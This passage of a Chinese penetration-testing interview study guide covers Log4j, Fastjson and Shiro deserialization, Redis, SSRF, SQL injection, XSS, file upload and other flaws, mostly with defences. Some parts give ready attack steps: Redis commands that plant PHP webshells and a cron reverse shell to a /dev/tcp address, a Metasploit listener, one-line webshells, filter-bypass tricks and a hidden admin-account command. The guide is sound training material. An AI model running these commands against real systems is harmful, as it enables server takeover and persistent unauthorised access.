- Log4j 是Apache 的一个开源项目，是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到`\${` 后，以:号作为分割，将表达式内容分割成两部分，前面一部分prefix，后面部分作为key，然后通过prefix去找对应的lookup，通过对应的lookup实例调用lookup方法，最后将key作为参数带入执行，引发远程代码执行漏洞。
- 具体操作：

- 在正常的log处理过程中对`\${`这两个紧邻的字符做了检测，一旦匹配到类似于表达式结构的字符串就会触发替换机制，将表达式的内容替换为表达式解析后的内容，而不是表达式本身，从而导致攻击者构造符合要求的表达式供系统执行

## Fastjson反序列化漏洞

- 判断：
- 正常请求是get请求并且没有请求体，可以通过构造错误的POST请求，即可查看在返回包中是否有fastjson这个字符串来判断。
- 原理：
- fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能，在请求过程中，我们可以在请求包中通过修改@type的值，来反序列化为指定的类型，而fastjson在反序列化过程中会设置和获取类中的属性，如果类中存在恶意方法，就会导致代码执行等这类问题。
- 无回显怎么办：
- 1.一种是直接将命令执行结果写入到静态资源文件里，如html、js等，然后通过http访问就可以直接看到结果
- 2.通过dnslog进行数据外带，但如果无法执行dns请求就无法验证了
- 3.直接将命令执行结果回显到请求Poc的HTTP响应中

## Shiro反序列化漏洞

- 原理：
- Shiro是Apache下的一个开源Java安全框架，执行身份认证，授权，密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项，那么在下次登录时浏览器会携带cookie中的remember me字段发起请求，就不需要重新输入用户名和密码。
- 判断：
- 1.数据返回包中包含rememberMe=deleteMe字段。
- 2.直接发送原数据包，返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段：rememberMe=然后查看返回数据包中是否存在关键字。
- shiro-550：
- shiro反序列化漏洞利用有两个关键点，首先是在shiro<1.2.4时，AES加密的密钥Key被硬编码在代码里，只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。另外就是shiro在验证rememberMe时使用了readObject方法，readObject用来执行反序列化后需要执行的代码片段，从而造成恶意命令可以被执行。攻击者构造恶意代码，并且序列化，AES加密，base64编码后，作为cookie的rememberMe字段发送。Shiro将rememberMe进行编码，解密并且反序列化，最终造成反序列化漏洞。
- shiro-721：
- 不需要key，利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。

## 59、了解过redis数据库和常见的漏洞吗？

redis是一个非关系型数据库，使用的默认端口是6379。常见的漏洞是未授权访问漏洞，攻击者无需认证就可以访问内部数据。利用手段主要有：

第一种：向root权限账户写入ssh公钥文件，直接免密登录服务器。（受害者redis非root权限运行会报错）

条件：

服务器存在.ssh目录且具有写入的权限

原理：

在数据库中插入一条数据，将本机的公钥作为value，key值随意，然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys，把缓冲的数据保存在文件里，这样就可以在服务器端的/root/.ssh下生成一个授权的key。

第二种：写入webshe11

条件：

已知web绝对路径。

步骤：

- 1)、redis -cli -h 192.168.x.x 连接目标服务器
- 2)、config set dir "/var/www/html" 设置保存文件路径
- 3)、config set dbfilename shell.php 设置保存文件名
- 4)、set x "\n\n<?php @eval(\$\_POST['cmd']); ?>\n" 将webshe11写入x键值中
- 5)、save 保存

局限：

- 1)、服务器处于内网，写入webshe11后我们的公网IP无法连接。
- 2)、服务器IP地址不固定。
- 3)、6379端口不允许入方向。
- 4)、上传webshe11可能直接被杀毒软件删除。

第三种：反弹连接she11

设置监听端口，常用的工具msf、netcat、socat

利用msf设置监听步骤：

- 1)、use exploit/multi/handler
- 2)、set payload generic/shell\_reverse\_tcp
- 3)、set lhost 192.168.x.x 默认监听端口为4444
- 4)、run

第四种：定时任务反弹she11

步骤：

1)、定时任务用的表达式：Cron表达式是一个字符串，该字符串由6个空格分为7个域，每一个域代表一个时间含义。分 时 天 月 周 user-name(用户) command(命令) 比如每过一分钟向root用户的定时任务中写入反弹连接命令

- 2)、config set dir /var/spool/cron/ //目录切换到定时任务的文件夹中
- 3)、config set dbfilename root //设置保存文件名
- 4)、set x "\n \* \* \* \* \* bash -i >& /dev/tcp/192.168.96.222/7777 0>&1\n" //将反弹she11写入x键值中
- 5)、save //保存

利用定时任务反弹she11在目标系统是Centos上可用，Ubuntu上有限制，理由如下：

- 1)、默认redis写文件后是644的权限，但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-----才会执行，否则会报错，而Centos的定时任务文件权限644也能执行。
- 2)、redis保存RDB会存在乱码，在Ubuntu上会报错，而在Centos上不会报错。
- 3)、两个系统的定时任务文件目录不同。

#### 第五种：利用主从复制getshell

条件：

版本(4.x~5.0.5)

原理：

数据读写体量很大时，为了减轻服务器的压力，redis提供了主从模式，主从模式就是指定一个redis实例作为主机，其余的作为从机，其中主机和从机的数据是相同的，而从机只负责读，主机只负责写。通过读写分离可以减轻服务器端的压力。

利用工具：

RedisRogueServer

地址：

<https://github.com/n0b0dyCN/redis-rogue-server>

使用工具的命令：

```
python3 redis-rogue-server.py --rhost=x.x.x.x --lhost=x.x.x.x --exp=exp.so
```

两种使用方法：

交互式

反弹式

限制：

利用这个方法getshell或者rce任意导致redis服务瘫痪，一般不建议使用

redis未授权访问漏洞的防范措施：

- 1)、添加登录密码。
- 2)、修改默认端口。
- 3)、关闭端口。
- 4)、禁止以root用户权限启动，以低权限启动redis服务。

## 60、SSRF怎么结合Redis相关漏洞利用？

主要通过两种协议，dict协议和gopher协议。

第一种：dict协议利用redis相关漏洞：

探测端口：

```
ssrf.php?url=dict://x.x.x.x:$端口$ 利用burpsuite爆破端口
```

探测是否设置弱口令：

```
ssrf.php?url=dict://x.x.x.x:6379/info 已知端口利用info探测是否设置了密码
```

爆破密码：

```
ssrf.php?url=dict://x.x.x.x:6379/auth:$密码$ 利用burpsuite爆破密码
```

写入webshell：

```
1)、url=dict://[http://xxx.xxx:6379/config:set:dir:/var/www/html]
(https://link.zhihu.com/?
target=http%3A//xxx.xxx%3A6379/config%3Aset%3Adir%3A/var/www/html) 切换文件目录
```

2)、url=dict://[http://xxx.xxx:6379/config:set:dbfilename:webshell.php](https://link.zhihu.com/?target=http%3A//xxx.xxx%3A6379/config%3Aset%3Adbfilename%3Awebshell.php) 设置保存文件名

3)、url=dict://[http://xxx.xxx:6379/set:webshell:](https://link.zhihu.com/?target=http%3A//xxx.xxx%3A6379/set%3Awebshell%3A)"\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e" //利用dict协议写入webshell 以上的字符编码是<?php phpinfo();?>的十六进制

4)、url=dict://x.x.x.x:6379/save 保存

5)、url=dict://[http://xxx.xxx:6379/config:set:dir:/var/www/html](https://link.zhihu.com/?target=http%3A//xxx.xxx%3A6379/config%3Aset%3Adir%3A/var/www/html) 切换文件目录

6)、url=dict://[http://xxx.xxx:6379/config:set:dbfilename:webshell.php](https://link.zhihu.com/?target=http%3A//xxx.xxx%3A6379/config%3Aset%3Adbfilename%3Awebshell.php) 设置保存文件名

7)、url=dict://[http://xxx.xxx:6379/set:webshell:](https://link.zhihu.com/?target=http%3A//xxx.xxx%3A6379/set%3Awebshell%3A)"\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"

8)、利用dict协议写入webshell 以上的字符编码是<?php phpinfo();?>的十六进制

9)、ssrf.php?url=dict://x.x.x.x:6379/save 保存  
dict协议利用计划任务反弹shell或者写入ssh公钥的手段类似

第二种: gopher协议利用redis未授权访问漏洞写入webshell:

常规利用步骤:

```
set x "\n\n\n?php @eval($_POST['redis']);?>\n\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save
```

//第一次url解码和第二次url解码

//同理其他类似计划任务反弹和写入ssh公钥等getshell方式相似

## 61、sql注入getshell的几种方式?

第一种方式: into outfile

利用条件:

- 1)、当前数据库用户是root
- 2)、知道网站的绝对路径
- 3)、secure\_file\_priv没有具体值

第二种方式: --os-shell

原理:

--os-shell就是使用udf提权获取webshell。也是通过into outfile向服务器写入两个文件, 一个可以直接执行系统命令, 一个进行上传文件。

条件:

- 1)、要求为数据库DBA, 使用--is-dba查看当前网站连接的数据库账号是否为mysql user表中的管理员如root, 是则为dba
- 2)、secure\_file\_priv没有具体值
- 3)、知道网站的绝对路径

第三种方式：写日志

条件：

尝试用日志写入木马`getshell`不需要`secure_file_priv`没有具体值，但是需要知道网站根目录。

## 62、SQL注入漏洞

原理：

产生SQL注入漏洞的根本原因在于代码中没有对用户输入项进行验证和处理便直接拼接 到查询语句中。利用SQL注入漏洞，攻击者可以在应用的查询语句中插入自己的SQL代码并传递 给后台SQL服务器时加以解析并执行。

分类：

- 1)、显注。
- 2)、盲注（无回显）： 时间型、布尔型、报错型。

危害：

- 1)、数据库信息泄露。
- 2)、网页篡改。
- 3)、网站被挂马，传播恶意软件。
- 4)、数据库被恶意操作。
- 5)、服务器被植入后门。
- 6)、破坏硬盘或者服务器等硬件设备。

如何进行SQL注入的防御

- 1)、关闭应用的错误提示
- 2)、加waf
- 3)、对输入进行过滤
- 4)、限制输入长度
- 5)、限制好数据库权限，`drop/create/truncate`等权限谨慎`grant`
- 6)、预编译好sql语句，python和Php中一般使用`?`作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入，只能说一定程度上防止注入。还有缓存溢出、终止字符等。
- 7)、数据库信息加密安全（引导到密码学方面）。不采用md5因为有彩虹表，一般是一次md5后 加盐再md5。
- 8)、清晰的编程规范，结对/自动化代码review，加大量现成的解决方案（`PreparedStatement`，`ActiveRecord`，歧义字符过滤， 只可访问存储过程 balabala）已经让SQL注入的风险变得非常低了。

绕过技术：

- 1)、关键字可以用%（只限 IIS 系列）。比如 `select`，可以 `sel%e%ct`
- 2)、通杀的，内联注释，如 `/*!select/`
- 3)、编码，可两次编码
- 4)、`multipart` 请求绕过，在 POST 请求中添加一个上传文件，绕过了绝大多数 WAF
- 5)、参数绕过，复制参数，`id=1&id=1`
- 6)、组合法 如 `and` 可以用`&&`再 URL 编码
- 7)、替换法，如 `and` 改成`&&=`可以用 `like` 或 `in` 等

## 63、CSRF漏洞

原理：CSRF跨站点请求伪造。攻击者盗用了受害者的身份，以受害者的名义发送恶意请求，对 服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作

危害：

- 1)、对网站管理员进行攻击
- 2)、修改受害网站上的用户账户和数据
- 3)、账户劫持
- 4)、传播CSRF蠕虫进行大规模攻击
- 5)、利用csrf进行拖库
- 6)、利用其他漏洞进行组合拳攻击
- 7)、针对路由器的csrf攻击

如何防护：

- 1)、尽量使用POST，限制GET；
- 2)、浏览器Cookie策略；
- 3)、加验证码；
- 4)、Referer Check；
- 5)、Anti CSRF Token；

## 64、文件包含漏洞

类型

- 1)、本地文件包含
- 2)、远程文件包含：即加载远程文件，在php.ini中开allow\_url\_include、allow\_url\_fopen选项。开启后可以直接执行任意代码。

PHP文件包含函数

- 1)、include()：使用此函数，只有代码执行到此函数时才将文件包含进来，发生错误时只警告并继续执行。
- 2)、include\_once()：功能和前者一样，区别在于当重复调用同一文件时，程序只调用一次。
- 3)、require()：使用此函数，只要程序执行，立即调用此函数包含文件，发生错误时，会输出错误信息并立即终止程序。
- 4)、require\_once()：功能和前者一样，区别在于当重复调用同一文件时，程序只调用一次。

利用：

- 1)、读取敏感文件
- 2)、远程包含shell
- 3)、图片上传并包含图片shell
- 4)、使用伪协议
- 5)、包含日志文件GetShell
- 6)、截断包含

修复方案

- 1)、禁止远程文件包含allow\_url\_include=off
- 2)、配置open\_basedir=指定目录，限制访问区域。
- 3)、过滤.../等特殊符号
- 4)、修改Apache日志文件的存放地址
- 5)、开启魔术引号magic\_quotes\_gpc=on
- 6)、尽量不要使用动态变量调用文件，直接写要包含的文件。

## 65、文件上传漏洞

原理：

由于程序员在对用户文件上传功能实现代码没有严格限制用户上传文件后缀以及文件类型或者处理缺陷，而导致用户可以越过本身权限向服务器上传木马去控制服务器。

危害：

操作木马文件提权 获取网站权限

绕过方法：

黑名单

- 1)、后缀名不完整 .php5 .phtml等
- 2)、上传 .htaccess
- 3)、大小写
- 4)、在数据包中后文件缀名前加空格
- 5)、后缀名前加 .
- 6)、加上::\$DATA
- 7)、未循环验证，可以使用x.php...类似的方法

白名单（一般需要配合其他漏洞一起利用）

- 1)、%00截断
- 2)、图片马
- 3)、条件竞争

修复：

- 1)、后端验证：采用服务端验证模式。
- 2)、后缀验证：基于白名单，黑名单过滤。
- 3)、MIME验证：基于上传自带类型检测。
- 4)、内容检测：文件头，完整性检测。
- 5)、自带函数过滤。
- 6)、WAF防护软件：宝塔、云盾等。

## 66、SSRF漏洞

原理：

利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。

ssrf危害：

- 1)、探测内网信息,用协议探ftp%26ip={ip}%26port={port}
- 2)、攻击内网或本地其他服务
- 3)、穿透防火墙

具体利用的方式：

具体操作需要查看支持的协议，file协议查看文件、dict协议探测端口、ophergopher协议 支持GET&POST请求，同时在攻击内网ftp、redis、telnet、Memcache上有极大作用利用 gopher协议访问redis反弹shell。

漏洞存在的地方：

- 1)、能够对外发起网络请求的地方。
- 2)、请求远程服务器资源的地方。
- 3)、数据库内置功能。



- 4)、邮件系统。
- 5)、文件处理。
- 6)、在线处理工具。

举几个例子：

- 1)、在线识图，在线文档翻译，分享，订阅等，这些有的都会发起网络请求。
- 2)、根据远程URL上传，静态资源图片等，这些会请求远程服务器的资源。
- 3)、数据库的比如mongodb的copyDatabase函数，这点看猪猪侠讲的吧，没实践过。
- 4)、邮件系统就是接收邮件服务器地址这些地方。
- 5)、文件就找ImageMagick, xml这些。
- 6)、从URL关键字中寻找，比如：source,share,link,src,imageurl,target等。

绕过姿势

- 1)、http://example.com@127.0.0.1`
- 2)、利用IP地址的省略写法绕过 ,[:]绕过localhost
- 3)、DNS解析 http://127.0.0.1.xip.io/可以指向任意ip的域名: xip.io
- 4)、利用八进制IP地址绕过 ,利用十六进制IP地址 ,绕过利用十进制的IP地址绕过

修复：

- 1)、地址做白名单处理
- 2)、域名识别IP 过滤内部IP
- 3)、校验返回的内容对比是否与假定的一致

## 67、逻辑漏洞

1)、挖过的逻辑漏洞：

订单任意金额修改  
相同价格增加订单数量，相同订单数量减少产品价格，订单价格设定为负数。

预防思路：

订单需要多重效验。  
订单数值较大的时候需要人工审核。

2)、验证码回传

漏洞一般发生在账号密码找回、账号注册、支付订单等。验证码发送途径一般为手机短信、邮箱邮件

预防思路：

response数据内不包含验证码，验证方式主要采取后端验证，但是缺点是服务器的运算压力也会随之增加。  
如果要进行前端验证的话也可以，但是需要进行加密。

3)、未进行登陆凭证验证

有些业务的接口，因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷，导致黑客可以未经授权访问这些敏感信息甚至是越权操作。比如后台页面、订单ID枚举、敏感信息可下载、没验证ID或cookie验证导致越权。

预防思路：

对敏感数据存在的接口和页面做cookie, ssid, token或者其它验证。

4)、接口无限制枚举

某电商登陆接口无验证导致撞库  
某招聘网验证码无限制枚举  
某快递公司优惠券枚举

某电商会员卡卡号枚举

预防思路:

在输入接口设置验证, 如**token**, 验证码等。如果设定验证码, 最好不要单纯的采取一个前端验证, 最好选择后端验证。如果设定**token**, 请确保每个**token**只能采用一次, 并且对 **token**设定时间参数。

注册界面的接口不要返回太多敏感信息, 以防遭到黑客制作枚举字典。

验证码不要用短数字, 尽量**6**位以上, 最好是以字母加数字进行组合, 并且验证码需要设定 时间期限。

优惠券, **VIP**卡号请尽量不要存在规律性和简短性, 并且优惠券最好是以数字加字母进行组合。

#### 5)、cookie设置存在缺陷

**Cookie**的效验值过于简单。有些web对于**cookie**的生成过于单一或者简单, 导致黑客可以 对**cookie**的效验值进行一个枚举。

**cookie**存在被盗风险, 即用户重置密码后使用老**cookie**依然可以通过验证。

用户的**cookie**数据加密应严格使用标准加密算法, 并注意密钥管理。不能采取简单的 **base64**等算法。

越权:

平行越权: 权限类型不变, 权限**ID**改变;

垂直越权: 权限**ID**不变, 权限类型改变;

交叉越权: 即改变**ID**, 也改变权限;

预防思路

1)、**cookie**中设定多个验证, 比如自如APP的**cookie**中, 需要**sign**和**ssid**两个参数配对, 才能返回数据。

2)、用户的**cookie**数据加密应严格使用标准加密算法, 并注意密钥管理。

3)、用户的**cookie**的生成过程中最好带入用户的密码, 一旦密码改变, **cookie**的值也会改变。

4)、**cookie**中设定**session**参数, 以防**cookie**可以长时间生效。

5)、根据业务不同还有很多方法。

## 67、XSS漏洞

原理:

通过插入恶意脚本, 实现对用户浏览器的攻击。

类型:

存储、反射、dom

反射和dom的区别:

**DOM-XSS**是**javascript**处理输出, 而反射性**xss**是后台程序处理。

**XSS**绕过:

1)、大小写

2)、**js**伪协议

3)、没有分号

4)、**Flash**

5)、**Html5**新标签

6)、**Fuzz**进行测试

7)、双层标签绕过

修复防御:

1)、对输入内容的特定字符进行编码, 例如表示**html**标记的 **<** **>** 等符号。

2)、对重要的**cookie**设置**httpOnly**, 防止客户端通过**document.cookie**读取 **cookie**, 此 **HTTP**头由服务端设置。

3)、将不可信的值输出URL参数之前,进行URLencode操作,而对于从URL参数中获取值一定要进行格式检测(比如你需要的URL,就判断是否满足URL格式)。

4)、不要使用Eval来解析并运行不确定的数据或代码,对于JSON解析请使用JSON.parse()方法。

## 68、XXE漏洞

原理:

解析用户传入的xml

作用:

内网端口扫描、利用file协议等读取文件、攻击内网web应用使用get(struts2等)

危害:

- 1)、导致可以加载恶意外部文件
- 2)、造成文件读取
- 3)、内网端口扫描
- 4)、攻击内网网站
- 5)、发起dos攻击等危害

防御:

过滤用户提交的XML数据、如果你当前使用的程序为PHP,则可以将libxml\_disable\_entity\_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

## 69、代码执行漏洞

原理:

没有对接口输入的内容进行严格的判断造成攻击者精心构造的代码非法执行,当应用在调用一些能将字符转化为代码的函数(如PHP中的eval)时,没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。

相关函数:

PHP: eval assert

Python: exec

asp: <%=CreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll()%>

危害:

- 1)、执行代码
- 2)、让网站写shell
- 3)、甚至控制服务器

漏洞利用:

- 1)、执行代码的函数: eval、assert
- 2)、callback函数: preg\_replace + /e模式
- 3)、反序列化: unserialize()(反序列化函数)

防御修复:

- 1)、使用json保存数组,当读取时就不需要使用eval了。
- 2)、对于必须使用eval的地方,一定严格处理用户数据
- 3)、字符串使用单引号包括可控代码,插入前使用addslashes转义。
- 4)、放弃使用preg\_replace的e修饰符,使用preg\_replace\_callback()替换。
- 5)、若必须使用preg\_replace的e修饰符,则必用单引号包裹正则匹配出的对象。

## 70、关于路径覆盖漏洞（不常问）

RPO的全称为Relative Path Overwrite,也就是相对路径覆盖,利用客户端和服务端的差异,通过相对路径来引入我们想要的js或css文件,从而实现某种攻击。

就目前来看此攻击方法依赖于浏览器和网络服务器的反应,基于服务器的web缓存技术和配置差异,以及服务器和客户端浏览器的解析差异,利用前端代码中加载的css/js的相对路径来加载其他文件,最终浏览器将服务器返回的不是css/js的文件当做css/js来解析,从而导致XSS,信息泄露等漏洞产生。

## 71、邮件系统漏洞攻击

漏洞攻击是危害网络安全中较为常见的一种。作为当今世界上使用最为频繁的商务通信工具——邮件系统,更是屡屡遭受漏洞攻击的困扰,这不仅因为制造漏洞的途径多,还以为邮件系统的互联网通信协议本身的问题。前者如程序员因为工作失误出现编码漏洞,毕竟人非机器,在紧张复杂的工作过程中,难免有个闪失,除了人为因素,还有软件编码工具及编译器造成的错误,不同应用程序彼此之间的相互作用,如大多数程序必须与其它API相交互,保存并检索文件,同时运行在多种不同类型的设备上,都会可能产生漏洞;后者如互联网通信协议—TCP和UDP,其开放性常常引来黑客的攻击;而IP地址的脆弱性,也给黑客的伪造提供了可能,从而泄露远程服务器的资源信息。

除了以上原因,据业界知名邮件通联服务商U-Mail专家张工分析,常见漏洞大概可分为几种:

### 一、IMAP 和 POP 漏洞:

这些协议常见弱点是密码脆弱,同时,各种IMAP和POP服务还容易受到如缓冲区溢出等类型的攻击。

### 二、拒绝服务(DoS)攻击:

- 1)、死亡之Ping——发送一个无效数据片段,该片段始于包结尾之前,但止于包结尾之后;
- 2)、同步攻击——极快地发送TCP SYN包(它会启动连接),使受攻击的机器耗尽系统资源,进而中断合法连接;
- 3)、循环——发送一个带有完全相同的源/目的地址/端口的伪造SYN包,使系统陷入一个试图完成TCP连接的无限循环中。

### 三、系统配置漏洞:

- 1)、默认配置——大多数系统在交付给客户时都设置了易于使用的默认配置,被黑客盗用变得轻松;
- 2)、空的/默认根密码——许多机器都配置了空的或默认的根/管理员密码,并且其数量多得惊人;
- 3)、漏洞创建——几乎所有程序都可以配置为在不安全模式下运行,这会在系统上留下不必要的漏洞。

四、利用软件问题:在服务器守护程序、客户端应用程序、操作系统和网络堆栈中,存在很多的软件错误,分为以下几类:

- 1)、缓冲区溢出——程序员会留出一定数目的字符空间来容纳登录用户名,黑客则会通过发送比指定字符串长的字符串,其中包括服务器要执行的代码,使之发生数据溢出,造成系统入侵。
- 2)、意外组合——程序通常是用很多层代码构造而成的,入侵者可能会经常发送一些对于某一层毫无意义,但经过适当构造后对其他层有意义的输入。
- 3)、未处理的输入——大多数程序员都不考虑输入不符合规范的信息时会发生什么。

## 72、DNS欺骗是什么?

定义： **DNS欺骗**就是攻击者冒充域名服务器的一种欺骗行为。

原理：

如果可以冒充域名服务器，然后把查询的**IP**地址设为攻击者的**IP**地址，这样的话，用户上网就只能看到攻击者的主页，而不是用户想要取得的网站的主页了，这就是**DNS欺骗**的基本 原理。 **DNS欺骗**其实并不是真的“黑掉”了对方的网站，而是冒名顶替、招摇撞骗罢了。

## 73、DDOS攻击

分布式拒绝服务攻击（**DDoS**）是目前黑客经常采用而难以防范的攻击手段。**DoS**的攻击方式有 很多种，最基本的**DoS**攻击就是利用合理的服务请求来占用过多的服务资源，从而使合法用户无法得到服务的响应。

抗D思想和方案

- 1）、负载均衡。
- 2）、花钱买流量清洗服务。
- 3）、**CDN**：**web**层，比如**CC**攻击。
- 4）、分布式集群防御。
- 5）、高防：防大部分攻击，**udp**、大型的**CC**攻击。
- 6）、预防为主。
- 7）、系统漏洞。
- 8）、系统资源优化：过滤不必要的服务和端口。
- 9）、限制特定流量：检查访问来源做适当限制。

## 74、什么是CC攻击

**CC**攻击是**DDOS**（分布式拒绝服务）的一种，相比其它的**DDOS**攻击**CC**似乎更有技术含量一些。这种攻击你见不到真实源**IP**，见不到特别大的异常流量，但造成服务器无法进行正常连接。

**CC**攻击的原理就是攻击者控制某些主机不停地发 大量数据包给对方服务器造成服务器资源耗尽， 一直到宕机崩溃。**CC**主要是用来攻击页面的， 每个人都有这样的体验：当一个 网页访问的人数特别多的时候，打开网页就慢了，**CC**就是模拟多个用户（多少 线程就是多少用户）不停地进行访问那些需要大量数据操作（就是需要大量 **CPU**时间）的页面，造成服务器资源的浪费，**CPU**长时间处**100%**，永远都有处 理不完的连接直 至就网络拥塞，正常的访问被中止。

## 75、常见的端口和对应的服务

1）、**web**类

这部分常有的漏洞有： （web漏洞/敏感目录）第三方通用组件漏洞**struts**、**thinkphp**、**jboss**、**ganglia**、**zabbix**

80 **web**

80-89 **web**

8000-9090 **web**

2）、数据库类（扫描弱口令）

1433 **MSSQL**

1521 **Oracle**

3306 **MySQL**

5432 **PostgreSQL**

### 3、特殊服务类（未授权/命令执行/漏洞）

443 SSL心脏滴血

873 Rsync未授权

5984 CouchDB http://xxx:5984/\_utils/

6379 redis未授权

7001、7002 weblogic默认弱口令、反序列化

9200、9300 elasticsearch 参考乌云：多玩某服务器ElasticSearch命令执行漏洞

11211 memcache未授权访问

50000 SAP命令执行

50070、50030 hadoop默认端口未授权访问

### 4、常用端口类（扫描弱口令/端口爆破）

21 ftp

22 ssh

23 telnet

2601、2604 zebra路由，默认密码zebra

3389 远程桌面

### 5、常见的端口漏洞

21 ftp FTP服务端有很多 anonymous 匿名未授权访问 爆破

22 ssh root密码爆破 后门用户 可以google查一些关于ssh后门的文章 里面的默认密码 可能会登入进去

23 telnet 一般会发生在 路由器 或者交换机 嵌入式设备 管理端口 攻击方法 弱口令

25 smtp 默认用户 默认密码 邮件账号爆破

80 http web 常见的Owasp top 10 中间件反序列化 中间件溢出 fastcgi配置不当 造成fastcgi端口泄露

110 pop3 默认用户 默认密码 邮件账号爆破

443 https openssl 心脏滴血（影响范围较小） SSL/TLS低版本存在的漏洞

135 139 445 netbios smb MS17010

3389 RDP CVE-2019-0708

3389和443、445有什么漏洞？

445: ms06\_040, 蠕虫, 勒索病毒、MS17-010

443: ssl心脏滴血

3389: rdp漏洞、弱口令、cve-2019-0708、ms12-20

### 端口合计详情

161 SNMP

389 LDAP

512、513、514 Rexec

873 Rsync未授权

1025、1111 NSF

1433 sqlserver

1521 oracle: (isqlPlus port: 5560、7778) 2082/2083 cpanel主机管理系统登录

2222 DA虚拟主机管理系统登录

2601、2604 zebra路由，默认密码zebra

3128 squid代理默认端口，如果没设置口令很可能直接漫游内网

3306 Mysql

3312/3311 kangle主机管理系统登录

4440 rundeck 参考乌云：借用新浪某服务成功漫游新浪内网

5432 PostgreSQL

5900 vnc

5984 CouchDB

6082 varnish

6379 redis未授权

7001、7002 weblogic默认弱口令、反序列化  
7778 kloxo主机控制面板登录  
8000-9090 都是一些常见的web端口，有些运维谢欢吧管理后台开放在这些非80端口上  
8080 tomcat/wDCP主机管理系统，默认弱口令  
8080、8089、9090 jboss  
8083 vestacp主机管理系统  
8649 ganglia  
8888 amh/LuManager 主机管理系统默认端口  
9200、9300 elasticsearch 参考乌云：多玩某服务器ElasticSearch命令执行漏洞  
10000 virtualmin/webmin 服务器虚拟主机管理系统  
11211 memcache未授权访问  
27017、27018 Mongodb未授权访问  
28017 mongodb统计页面  
50000 SAP命令执行  
50070、50030 hadoop默认端口未授权访问

## 76、身份认证漏洞最常见是？

- 1)、会话固定攻击；
  - 2)、cookie仿冒；
- 只要得到session和cookie即可伪造用户身份。

## 77、验证码漏洞

- 1)、验证码漏洞存在暴力破解。
- 2)、可以通过js或改包方法进行绕过。

## 78、DOM 型XSS人工测试

人工测试思路：找到类似 document.write、innerHTML赋值、outterHTML 赋值、 window.location 操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量，回溯变量来源观察是否可控，是否经过安全函数。

## 79、为什么参数化查询可以防止SQL注入？

原理：

使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行，是在数据库完成sql指令的编译后才套用参数运行。

简单的说：

参数化能防注入的原因在于，语句是语句，参数是参数，参数的值并不是语句的一部分，数据库只按语句的语义跑。

## 80、各种常见的状态码？

200 OK //客户端请求成功

403 Forbidden //服务器收到请求，但是拒绝提供服务

404 Not Found //请求资源不存在，eg: 输入了错误的 URL

500 Internal Server Error //服务器发生不可预期的错误

## 81、DLL劫持漏洞

由于输入表中只包含DLL名而没有它的路径名，因此加载程序必须在磁盘上搜索 DLL 文件。首先会尝试从当前程序所在的目录加载DLL，如果没找到，则在 windows系统目录中查找，最后是在环境变量中列出的各个目录下查找。利用 这个特点，先伪造一个系统同名的DLL，提供同样的输出表，每个输出函数转向

真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的 DLL，完成相关功能后，再 跳到系统DLL同名函数里执行。这个过程用个形象的词来描述，就是系统DLL被劫持（hijack）了。伪造的dll制作好后，放到程序当前目录下，这样当原程序调用原函数时就调用了伪造的dll的同名函数，进入劫持DLL的代码，处理完毕后，再调用原DLL此函数。

DLL劫持利用系统未知DLL的搜索路径方式，使得程序加载当前目录下的系统同名DLL。所以可以告诉系统DLL的位置，改变加载系统DLL的顺序不是当前目录，而是直接到系统目录下查找。

## 82、一句话木马

asp一句话木马: <%execute(request("value"))%>

php一句话木马: <?php@eval(\$\_POST[value]);?>

变形: <?php\$x=\$\_GET['z'];@eval("\$x;");?>

aspx一句话木马:

```
<%@ PageLanguage="Jscript"%>
<%eval(Request.Item["value"])%>
```

## 83、命令执行bypass 漏洞

绕过技巧:

```
cat 233.txt # 管道符号绕过
\# 空格绕过 ${IFS}
\# %0a、%09 # 重定向绕过 < <>
\# 变量拼接绕过 @kali:$ a=c;b=at;c=fl;d=ag;$a$b $c$d
\# 单引号、双引号绕过 ca't flag cat"" flag
\# 编码绕过
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
#{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"} |\$0 ==>cat /flag
#$(printf "\154\163") ==>ls
$(printf "\154\163")
```



# 内网

## 1、无法连接服务器 3389 端口的几种情况？

- 1)、3389 端口处于关闭状态；
- 2)、远程桌面默认端口号被修改；
- 3)、防火墙=拦截
- 4)、超过了服务器最大的连接数
- 5)、管理员设置了权限，指定用户才能通过 3389 端口进行远程桌面访问。

(3389 端口是 windows 2000(2003) server 远程桌面的服务端口，可以通过这个端口，用"远程桌面"等连接工具来连接到远程的服务器，如果连接上了，输入系统管理员的用户名和密码后，将变得可以像操作本机一样操作远程的电脑，因此远程服务器一般都将这个端口修改数值或者关闭。)

## 2、如何建立隐藏用户？

```
net user test$ 123456 /add
net localgroup administrators test$ /add
```

## 3、正向 shell 和反向 shell 的区别是什么？

正向shell：攻击者连接被攻击机器，可用于攻击者处于内网，被攻击者处于公网（外网）。

反向shell：被攻击者主动连接攻击者，可用于攻击者处于外网，被攻击者在内网。

## 4、正向代理和反向代理的区别？

